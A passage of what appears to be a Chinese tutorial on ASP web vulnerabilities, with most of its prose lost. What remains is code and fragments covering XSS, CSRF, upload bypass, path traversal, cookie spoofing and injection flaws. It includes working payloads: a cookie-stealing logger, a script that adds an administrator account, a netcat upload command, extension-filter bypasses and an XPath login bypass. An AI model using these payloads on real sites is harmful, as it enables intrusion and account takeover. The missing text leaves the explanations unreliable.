
0×01 ASP  

ASP Web ASP

HTML COM ASP

HTML web  

0×02 ASP  

 (DataBase Path Leak) 

ASP+Access WEB %5c

IIS  %5c

 

IE %5c /,

asp conn.asp  

 

1. <%  

2. dim conn  

3. dim connstr  

4. dim db  

5. db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      '

  

6. Set conn = Server.CreateObject("ADODB.Connection")  

7. connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.Map

Path(db)  

8. conn.Open connstr  

9. %>  

http://www.aspmps.com/cn%5cconn.asp IIS

 



 

ACCESS SQL server

360

http://tech.163.com/digi/12/0312/15/7SDHI0LJ00163HE0.html  

conn.open connstr  On 

Error Resume Next IIS

2 

 

(Cross-Site Scripting) 

Cross-site scripting(XSS) Web

Web HTML

(CSS) XSS

XSS —— (same origin policy)



phishing cookie Xss

 

XSS  

 

1.  <%  

2. Content = ""  

3.     For i = 1 To Request.Form("Content").Count  

4.         Content = Content & Request.Form("Content")(i)  

5.     Next  

6. ………… //   

7. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)  

8.     rs("Guest_TEL")=HTMLEncode(Guest_TEL)  

9.     rs("Guest_FAX")=HTMLEncode(Guest_FAX)  

10.     rs("Content")=Content  

11.     rs.Update  

12.  %>  

Request.Form content XSS

 

 



 

COOKIES  xxx cookies.asp

COOKIES  

1. <%  

2. c=Request.ServerVariables("QUERY_STRING")  

3. testfile=Server.MapPath("cookies.txt")  

4. set fs=server.CreateObject("scripting.filesystemobject")  

5. set thisfile=fs.OpenTextFile(testfile,8,True,0)  

6. thisfile.Writeline(""&c& "")  

7. thisfile.close  

8. set fs = nothing  

9. %>  

 

“< ’ ” >” HTML  

(Cross Site Request Forgery) 



CSRF Cross Site Request Forgery

 WEB 

 URL  

JS

 

HTMLEncode  

1. Public Function HTMLEncode(str)  

2.     If Not IsNull(str) Then  

3.         str = Replace(str, Chr(38), "&")  

4.         str = Replace(str, "<", "<")  

5.         str = Replace(str, ">", ">")  

6.         str = Replace(str, Chr(9), " ")  

7.         str = Replace(str, Chr(32), " ")         

8.         str = Replace(str, Chr(34), """)  

9.         str = Replace(str, Chr(39), "'")  

10.         str = Replace(str, Chr(13) & Chr(10), "  

11. ")  

12.         str = Replace(str, Chr(10), "  

13. ")  

14.         str = Replace(str, Chr(13), "  

15. ")  

16.         HTMLEncode = str  

17.     End If  

18. End Function  

19. //   

20. Content = ""  

21.     For i = 1 To Request.Form("Content").Count  

22.         Content = Content & Request.Form("Content")(i)  

23.     Next  

24. ………… //   

25. rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)  

26.     rs("Guest_TEL")=HTMLEncode(Guest_TEL)  

27.     rs("Guest_FAX")=HTMLEncode(Guest_FAX)  

28.     rs("Content")=Content  

29.     rs.Update  

Content Request.Form Guest_FAX

HTMLEncode  

 



 

Xss.js topsec  

1. var request = false;  

2. if(window.XMLHttpRequest) {  

3. request = new XMLHttpRequest();  

4. if(request.overrideMimeType) {  

5. request.overrideMimeType('text/xml');  

6. }  

7. } else if(window.ActiveXObject) {  

8. var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XML

HTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0'

, 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];  

9. for(var i=0; i<versions.length; i++) {  

10. try {  

11. request = new ActiveXObject(versions[i]);  

12. } catch(e) {}  

13. }  

14. }  

15. xmlhttp=request;  

16.    

17. add_admin();  

18. function add_admin(){  

19. var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";  

20. var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=1234

56&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";    

21. xmlhttp.open("POST", url, true);  



22. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-url

encoded");  

23. xmlhttp.setRequestHeader("Content-length", params.length);  

24. xmlhttp.setRequestHeader("Connection", "close");  

25. xmlhttp.send(params);  

26. }  

topsec, 123456  

token  

(Arbitrary File Download) 

stream

windows  

Windows “.asp+ “.asp+.” “.asp”

 

 

1. <%  

2. Dim Stream  

3. Dim Contents  

4. Dim FileName  

5. Dim TrueFileName  

6. Dim FileExt  

7. Dim SavePath  

8.    

9. Const adTypeBinary = 1  

10. FileName = Request.QueryString("FileName")  

11. If FileName = "" Then  

12.     Response.Write " "  

13.     Response.End  

14. End if  

15.    

16. FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)  

17. Select Case UCase(FileExt)  

18.     Case "ASP", "ASA", "ASPX", "ASAX", "MDB"  

19.         Response.Write " "  

20.         Response.End  

21. End Select  

22. Response.Clear  



23. if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" 

or lcase(right(FileName,3))="png" then  

24.     Response.ContentType = "image/*" '   

25. else  

26.     Response.ContentType = "application/ms-download"  

27. end if  

28. Response.AddHeader "content-disposition", "attachment; filename=" & 

GetFileName(Request.QueryString("FileName"))  

29. Set Stream = server.CreateObject("ADODB.Stream")  

30. Stream.Type = adTypeBinary  

31. Stream.Open  

32.    

33. SavePath = FileUploadPath        '   

34. TrueFileName = SavePath & FileName  

35.    

36. Stream.LoadFromFile Server.MapPath(TrueFileName)  

37. While Not Stream.EOS  

38.     Response.BinaryWrite Stream.Read(1024 * 64)  

39. Wend  

40. Stream.Close  

41. Set Stream = Nothing  

42. Response.Flush  

43. Response.End  

44. %>  

 

Request.QueryString(“FileName”) 

URL

 

 



 

“down.asp?filename=./cn/index.asp%20”  %20 URL %2E

URL “.”  

 

(File Upload) 

ASP

”  “ ”  “

”  

 

1. ASP

Upfile.asp  

1. <%  

2. dim upload,file,formName,formPath,iCount,filename,fileExt  

3. set upload=new upload_5xSoft  

4. formPath=upload.form("filepath")   '//   

5. if right(formPath,1)<>"/" then formPath=formPath&"/"  

6. for each formName in upload.objFile  

7. set file=upload.file(formName)  

8.    



9. fileExt=lcase(right(file.filename,4))  '// 4

  

10. if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileE

XT<>".rar" and fileEXT<>".swf"then  

11. response.write "  [  ]"  

12. response.end  

13. end if  

14. randomize  

15. ranNum=int(90000*rnd)+10000  

16. filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now

)&second(now)&ranNum&fileExt  '// filename

  

17. if file.FileSize>0 then  

18. file.SaveAs Server.mappath(FileName)  

19. response.write " "  

20. end if  

21. set file=nothing  

22. %>  

formPath

 

formPath = “../images/a.asp” + 

C32ASM 16 00 00 00

 

 



NC CMD  nc www.aspmps.com 80<1.txt 

 

 

chr(0)

Replace  

2. 

HTML

FILE rar FILE Cer

cer ASP Form Action

 

 

Upfile_Soft.asp  

1. <%  

2. const UpFileType="rar|zip|exe|mpg|rm|wav|mid"  

3. dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize  

4. dim EnableUpload  

5. dim arrUpFileType  

6. dim ranNum  

7. dim msg,FoundErr  

8. msg=""  

9. FoundErr=false  

10. EnableUpload=false  



11. for each formName in upload.file '   

12.    

13.         set ofile=upload.file(formName)  '   

14.         oFileSize=ofile.filesize  

15.         if oFileSize<100 then="" msg="
" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then  

16.              msg="

" & CStr(MaxFileSize) & "K "  

17.             FoundErr=true  

18.         end if  

19.         fileExt=lcase(ofile.FileExt)  

20.         arrUpFileType=split(UpFileType,"|")  

21.         for i=0 to ubound(arrUpFileType)  

22.             if fileEXT=trim(arrUpFileType(i)) then  

23.                 EnableUpload=true    ' rar

EnableUpload = true  

24.                 exit for  

25.             end if  

26.         next     

27.    

28.         if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then  

29.             EnableUpload=false        '

EnableUpload true   

30.         end if  

31.    

32.         if EnableUpload=false then        '  

EnableUpload=false FoundErr=true EnableUpload=true

FoundErr FOR false   

33.             msg=" \n\n

" & UpFileType  

34.             FoundErr=true  

35.         end if  

36. if FoundErr<>true then            '  FoundErr<>true

FoundErr  false   

37.             FileName=SavePath & ofile.FileName  

38.             If IsObjInstalled("Scripting.FileSystemObject") Then  

39.                 dim fso  

40.                 set fso=CreateObject("Scripting.FileSystemObject")  

41.                 if fso.FileExists(Server.mappath(FileName)) then  

42.                     randomize  

43.                     ranNum=int(900*rnd)+100  

44.                         filename=SavePath&year(now)&month(now)&day(n

ow)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  

45.                 end if  



46.                 set fso=nothing  

47.             end if  

48.             ofile.SaveToFile Server.mappath(FileName)  

49. %>  

cer FoundErr

FoundErr rar false  FoundErr

true cer

windows2003

1.asp;.mpg  

 

3. 

“cer|ccerer”  

 



ccerer

 

1. <%  

2. Private Function FixName(Byval UpFileExt)  

3.         If IsEmpty(UpFileExt) Then Exit Function  

4.         FixName = Lcase(UpFileExt)  

5.         FixName = Replace(FixName,Chr(0),"")  

6.         FixName = Replace(FixName,".","")  

7.         FixName = Replace(FixName,"'","")  

8.         FixName = Replace(FixName,"asp","")  

9.         FixName = Replace(FixName,"asa","")  

10.         FixName = Replace(FixName,"aspx","")  

11.         FixName = Replace(FixName,"cer","")     ' ,ccerer

cer   

12.         FixName = Replace(FixName,"cdx","")  

13.         FixName = Replace(FixName,"htr","")  

14.         FixName = Replace(FixName,"shtml","")  

15. End Function  

16.    

17. Private Function CheckFileExt(FileExt)  

18.         Dim Forumupload,i  

19.         CheckFileExt=False  

20.         If FileExt="" or IsEmpty(FileExt) Then  

21.             CheckFileExt = False  

22.             Exit Function  

23.         End If  

24.         If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileE

xt="shtml" Then    '  cer   

25.             CheckFileExt = False  

26.             Exit Function  

27.         End If  

28.         Forumupload = Split(InceptFile,",")  

29.         For i = 0 To ubound(Forumupload)  

30.             If FileExt = Trim(Forumupload(i)) Then        ' 

 cer    

31.                 CheckFileExt = True  

32.                 Exit Function  

33.             Else  

34.                 CheckFileExt = False  

35.             End If  

36.         Next  

37. End Function  

38. %>  



ccerer FixName = Replace(FixName,”cer”,”")  

ccerer cer cer  

 

 

cer cer

 

 

cer IIS cer

asp  



 

 “ MIME

“Javascript  

.Cookies (Cookies Spoofing) 

Cookies Cookies

Cookies Cookies

 

Cookies ?Cookies

Cookies

Web

ID  

UploadSoft.asp

Cookies Cookies  



 

 

1. <%  

2. if session("AdminName")="" and request.Cookies("asp163")("UserName")

="" then  

3.         response.Write(" ")  

4.     else  

5.         select case upload_type  

6.             case 0  

7.                 call upload_0()  '   

8.             case else  

9.                 response.write " "  

10.                 response.end  

11.         end select  

12. end if  

13. %>  

IF Session Cookies

upload_0() Cookies

 

asp163=UserName=asp Cookies  



 

Cookies

 

Cookies Session  

(Local File Inclusion) 

ASP Execute ASP ASP  

ASP

ASP PHP Execute  

 

<%Server.Execute(Request.QueryString("file"))%> 

equest file Execute  

ASP ASP

 

 



jpg ASP WebShell  

 

(Path Manipulation) 

 file system 

 

path manipulation  

1.  file system  

2. 

 

Ewebeditor

 

1. <%  

2. Function InitParam()  

3.     sStyleID = Trim(Request("id"))  

4.     sUploadDir = ""  

5.     If IsNumeric(sStyleID) = True Then  

6.         sSql = "select S_UploadDir from eWebEditor_Style where S_ID=

" & sStyleID  

7.         oRs.Open sSql, oConn, 0, 1  

8.         If Not oRs.Eof Then  

9.             sUploadDir = oRs(0)  

10.         End If  

11.         oRs.Close  

12.     End If  

13.     If sUploadDir = "" Then  

14.         sStyleID = ""  

15.     Else  

16.         sUploadDir = Replace(sUploadDir, "\", "/")  

17.         If Right(sUploadDir, 1) <> "/" Then  

18.             sUploadDir = sUploadDir & "/"  

19.         End If  

20.     End If  

21.     sCurrDir = sUploadDir  

22.    



23.     '   

24.     sDir = Trim(Request("dir"))  

25.     If sDir <> "" Then  

26.         If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True T

hen  

27.             sCurrDir = sUploadDir & sDir & "/"  

28.         Else  

29.             sDir = ""  

30.         End If  

31.     End If  

32. End Function  

33. %>  

sStyleID

ID  sDir  sCurrDir 

“/”  

admin_uploadfile.asp?id=22&dir=../.. 

 

 

Replace “..”  

(Spoofed Form Submit) 

Web

 

Web JavaScript

 



 

Javascript

 

 

HTML JS Action

 

 

.Http (Spoofed HTTP Request) 

HTTP

URL Request.ServerVariables(“HTTP_REFERER”)

HTTP HTTP

GET POST HTTP  



Request.ServerVariables 

Request  

ASP  

1.  <%  

2. Dim From_url , Serv_url  

3.     From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))  

4.     Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))  

5.     If Mid(From_url,8,Len(Serv_url)) <> Serv_url then  

6.         Response.Write " "  

7.         Response.End  

8.     End if  

9. %>  

 

HTTP HTTP Referer 

 

 

Request

 

(Code Injection) 



 

ASP Eval Execute ExecuteGlobal 

Eval() 

Execute() 

(:) ExecuteGlobal()  

 

<%=Eval(Request("parma"))%> 

parma GET,POST,COOKIE ASP

 

 

 

parma VB Now()

Eval Execute  ExecuteGlobal  

 

.XML XPATH (Xpath Injection) 

Xml

XPATH ACCESS  

Access XML

 

 



1. <%  

2. function SelectXmlNodeText(elementname,elementpass)  

3.     On Error Resume Next  

4.     elementname="//"&"root/row[name='"&elementname&"' and password='

"&elementpass&"']"  

5.     temp =  XMLMorntekDocument.selectSingleNode(elementname).text  

6.     If temp <> "" Then  

7.         Session("UserName") = "asp163"  

8.         Response.Write("Welcome , Sysadmin")  

9.     Else  

10.         Response.Redirect("/admin/Login.asp")  

11.     end if  

12. end function   

13. ConnectXml("../admin.xml")  

14. Call SelectXmlNodeText(Request("name"),Request("pass"))  

15. %>  

admin.xml

Http Request

 

 

 

Name Pass “’or ’1 =’1” XML  

“//root/row[name=''or '1'='1' and password=''or '1'='1']” OR

 

SQL

 

.SQL (SQL Injection) 

SQL  



(1)  

(2) SQL  

SQL SQL

SQL SQL Server Oracle MySQL, ACCESS,DB2 Informix

Active/Java Server Pages, PHP Perl

 

SQL

ASP GET,POST,COOKIE,SERVER

SQL Server  

 

1. <%  

2. Set rs = Server.CreateObject("ADODB.RecordSet")  

3. sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id")

  

4. rs.Open sqlString, Conn, 1, 1  

5. %>  

 

 

Clng Replace

 

0×03  

ASP ACCESS

ASP ASP

 

 


